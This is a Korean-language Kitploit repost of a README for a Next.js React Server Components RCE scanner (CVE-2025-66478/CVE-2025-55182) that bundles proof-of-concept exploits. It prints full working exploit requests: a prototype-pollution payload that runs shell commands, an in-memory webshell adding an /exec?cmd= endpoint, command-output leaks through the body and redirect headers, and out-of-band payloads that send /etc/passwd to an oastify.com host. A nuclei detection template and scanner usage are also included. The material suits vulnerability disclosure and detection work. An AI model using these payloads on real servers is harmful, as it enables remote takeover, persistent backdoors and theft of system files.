Next.js-RSC-RCE-Scanner-CVE-2025-66478 — Next.js 애플리케이션 버전을 일괄 감지하고 CVE-2025-66478 취약점의 영향을 받는지 확인하는 명령줄 스캐너입니다. | Kitploit

Next.js RSC RCE 스캐너 및 POC/익스플로잇 모음 (CVE-2025-66478)

Next.js 애플리케이션 버전을 배치로 감지하고 CVE-2025-66478 취약점의 영향을 받는지 확인하는 명령줄 스캐너입니다.

이 스캐너는 취약점을 악용하지 않습니다

취약점 설명

https://nextjs.org/blog/CVE-2025-66478

설치

전제 조건

Go 1.19 이상
Chrome/Chromium 브라우저 (go-rod가 자동으로 다운로드합니다)

git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

빌드

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe

사용법

# High concurrency scan (10 concurrent)
./nextjs-rce-scanner -file urls.txt -c 10
# GUI mode (for debugging):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Custom timeout
./nextjs-rce-scanner -file urls.txt -timeout 60
# For headless servers (Ubuntu/Debian) - add Chrome flags
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Use system-installed Chrome/Chromium
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combine Chrome binary path with flags (for servers)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filter and scan specific URLs
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combine with other Unix tools
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

페이로드 보려면 펼치기

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

페이로드 보려면 펼치기

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

페이로드 보려면 펼치기

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

페이로드 보려면 펼치기

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Nuclei 템플릿 보려면 펼치기

출처: @Behi_Sec

⚠️ 이 nuclei 템플릿은 Unix 기반 시스템에서 실행되는 취약한 서버만 감지합니다.

id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Next.js-RSC-RCE-Scanner-CVE-2025-66478

인기

일반적인 Chrome 바이너리 경로

작동 원리

취약 환경 설정

`create-next-app`을 사용하여 취약 버전 설치

Pop 계산기

🚨 런타임 메모리 셸 🚨

먼저 메모리 셸 설정

그런 다음 명령 실행을 위해 메모리 셸 엔드포인트에 요청

응답 본문에서 명령 실행 결과를 볼 수 있는 페이로드 (가장 유용함)

응답 헤더에서 명령 실행 결과를 볼 수 있는 페이로드

OAST/DNSlog 페이로드

http 요청 보내기

`/etc/passwd` 전송

Nuclei 스캔 템플릿

Next.js RSC 탐지 팁

라이선스

면책 조항

Next.js-RSC-RCE-Scanner-CVE-2025-66478

인기

Next.js RSC RCE 스캐너 및 POC/익스플로잇 모음 (CVE-2025-66478)

취약점 설명

설치

전제 조건

빌드

사용법

일반적인 Chrome 바이너리 경로

작동 원리

취약 환경 설정

create-next-app을 사용하여 취약 버전 설치

Pop 계산기

🚨 런타임 메모리 셸 🚨

먼저 메모리 셸 설정

그런 다음 명령 실행을 위해 메모리 셸 엔드포인트에 요청

응답 본문에서 명령 실행 결과를 볼 수 있는 페이로드 (가장 유용함)

응답 헤더에서 명령 실행 결과를 볼 수 있는 페이로드

OAST/DNSlog 페이로드

http 요청 보내기

/etc/passwd 전송

Nuclei 스캔 템플릿

Next.js RSC 탐지 팁

라이선스

면책 조항

`create-next-app`을 사용하여 취약 버전 설치

`/etc/passwd` 전송